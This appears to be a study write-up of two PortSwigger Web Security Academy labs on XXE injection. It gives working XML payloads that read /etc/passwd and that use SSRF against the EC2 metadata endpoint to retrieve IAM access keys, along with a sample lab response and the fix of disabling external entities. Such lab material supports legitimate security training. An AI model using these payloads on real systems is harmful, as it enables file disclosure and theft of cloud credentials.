XML external entity (XXE) injection
PortSwigger Web Security Academy · Apprentice
- #XXE

Exploiting XXE Using External Entities to Retrieve Files
The vulnerability
The stock check sends XML, and the parser loads external entities. You define one that points to /etc/passwd and get the content back.
Fix: Switch off external entities in the XML parser.
The lab
Solution
1. Intercept the Stock Check Request: On the website, select a product and click “Check stock.” In Burp Suite’s Proxy → HTTP history, find the POST /product/stock request and right-click to Send to Repeater.
2. Inject the XXE Payload: In Repeater, modify the XML body. After the XML header, add a DOCTYPE declaration to define an external entity named xxe that references the /etc/passwd file. Then, use this entity within the productId tag.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE clawhak [ <!ENTITY xxe SYS "file:///etc/passwd"> ]>
<stockCheck>
<productId>
&xxe;
</productId>
<storeId>
1
</storeId>
</stockCheck>
Note*: Replace SYS with SYSTEM in the payload*
3. Retrieve /etc/passwd Content: Send the request. The HTTP/2 400 Bad Request response will contain an error message, but its body will also contain the full content of the /etc/passwd file, and the lab is solved.
Tip
An active scan on POST /product/stock in Burp Suite may find the XXE vulnerability.
Exploiting XXE to Perform SSRF Attacks
The vulnerability
External entities can also point to a URL. Here you go through the metadata service of the cloud provider until you have the access keys.
Fix: Switch off external entities in the XML parser.
The lab
This lab has a “Check stock” feature that parses XML input and returns any unexpected values in the response.
The lab server is running a (simulated) EC2 metadata endpoint at the default URL, which is
http://169.254.169.254/. This endpoint can be used to retrieve data about the instance, some of which might be sensitive.To solve the lab, exploit the XXE vulnerability to perform an SSRF attack that obtains the server’s IAM secret access key from the EC2 metadata endpoint.
Solution
1. Intercept the Stock Check Request: On the website, select a product and click “Check stock.” In Burp Suite’s Proxy → HTTP history, find the POST /product/stock request and Send to Repeater.
2. Inject XXE Payload to Test SSRF: In Repeater, modify the XML body. Add a DOCTYPE declaration to define an external entity named xxe that references the internal EC2 metadata endpoint: http://169.254.169.254/. Use this entity within the productId tag.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE clawhak [ <!ENTITY xxe SYS "http://169.254.169.254/"> ]>
<stockCheck>
<productId>
&xxe;
</productId>
<storeId>
1
</storeId>
</stockCheck>
Note*: Replace SYS with SYSTEM in the payload*
3. Explore the Metadata Endpoint: Send the request. The HTTP/2 400 Bad Request response will contain an error like "Invalid product ID: latest". This reveals the next path segment to probe. Continue updating the SYSTEM URL with the found paths (e.g., http://169.254.169.254/latest/, http://169.254.169.254/latest/meta-data/iam/, etc.) until you find the endpoint for security-credentials.
4. Retrieve IAM Secret Access Key: Once the full path is discovered, update the XXE payload to reference the final endpoint (e.g., http://169.254.169.254/latest/meta-data/iam/security-credentials/admin).
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE clawhak [ <!ENTITY xxe SYS "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck>
<productId>
&xxe;
</productId>
<storeId>
1
</storeId>
</stockCheck>
Note*: Replace SYS with SYSTEM in the payload*
The response will now contain a JSON object with the AccessKeyId, SecretAccessKey, and Token, and the lab is solved.
HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 552
"Invalid product ID: {
"Code" : "Success",
"LastUpdated" : "2025-08-05T06:28:33.288546786Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "<LAB-ACCESS-KEY-ID>",
"SecretAccessKey" : "<LAB-SECRET-ACCESS-KEY>",
"Token" : "<LAB-SESSION-TOKEN>",
"Expiration" : "2031-08-04T06:28:33.288546786Z"
}"
Tip
An active scan on POST /product/stock in Burp Suite may find the XXE vulnerability.